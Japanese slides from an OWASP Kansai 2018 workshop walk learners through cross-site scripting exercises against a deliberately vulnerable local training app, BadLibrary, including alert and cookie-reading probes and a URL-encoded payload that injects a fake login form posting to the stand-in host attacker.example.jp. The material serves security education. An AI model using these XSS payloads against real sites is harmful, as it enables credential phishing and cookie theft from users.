  • 59. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q1.XSSを発生させてみてください 1. akita@example.jp / 1234 でログインする 2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる 3. URL中のパラメータdに注目(これが年月) 4. パラメータdを201606<s>abcdなどに変更して検索し、画面 の変化に着目 (http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd) XSSの確認用:<script>alert(1)</script> 59
  • 60. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q2.XSSを発生させて、cookieの値をみてください 1. akita@example.jp / 1234 でログインする 2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる 3. URL中のパラメータdに注目(これが年月) 4. パラメータdを201606<s>abcdなどに変更して検索し、画面 の変化に着目 (http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd) XSSの確認用:<script>alert(1)</script> 60
  • 61. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q2.XSSを発生させて、cookieの値をみてください 1. akita@example.jp / 1234 でログインする 2. 貸出履歴の画面で貸出年月を適当に変更して検索してみる 3. URL中のパラメータdに注目(これが年月) 4. パラメータdを201606<s>abcdなどに変更して検索し、画面 の変化に着目 (http://localhost:8888/history?q=&d=201606%3Cs%3Eabcd) XSSの確認用:<script>alert(1)</script> jsでcookieにアクセスする方法:document.cookie 61
  • 62. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q3.他の箇所でXSSを発生させてみてください 1. akita@example.jp / 1234 でログインする XSSの確認用:<script>alert(1)</script> 62
  • 63. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング Q3.他の箇所でXSSを発生させてみてください 1. akita@example.jp / 1234 でログインする 2. 「検索語句」部分に攻撃値を入力し、XSSを発生させてみて ください XSSの確認用:<script>alert(1)</script> 63
  • 64. OWASP Kansai 2018-04-27 #owaspkansai A7:2017 – クロスサイトスクリプティング 64 http://localhost:8888/history?q=&d=2016%3Cscript%3Edocument.body.innerHT ML=%27%3Chr%3E%3Cform%20action=%22http://attacker.example.jp/%22% 3E%E3%83%A1%E3%83%BC%E3%83%AB%E3%82%A2%E3%83%89%E3 %83%AC%E3%82%B9%3Cbr%3E%3Cinput%20size=30%3E%3Cbr%3E%E3 %83%91%E3%82%B9%E3%83%AF%E3%83%BC%E3%83%89%3Cbr%3E% 3Cinput%20type=password%20size=30%3E%3Cbr%3E%3Cinput%20type=su bmit%20value=%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3%3E% 3Cbr%3E%3Cbr%3E%3Cbr%3E%27;%3C/script%3E より細工されたXSS にせログイン画面の表 示
  • 65. OWASP Kansai 2018-04-27 #owaspkansai A8:2017 -安全でないデシリアライゼーシ ョン • BadLibraryにはこの脆弱性は存在しないので試せません… • JavaやPHPで発生する脆弱性 • node.jsで作られたBadLibraryには組み込みにくい 65
  • 66. OWASP Kansai 2018-04-27 #owaspkansai A9:2017 -既知の脆弱性のあるコンポーネントの使用 • BadLibraryでは明確に古いコンポーネントというのは使われて いないので、現段階では(おそらく)この脆弱性は存在しない 66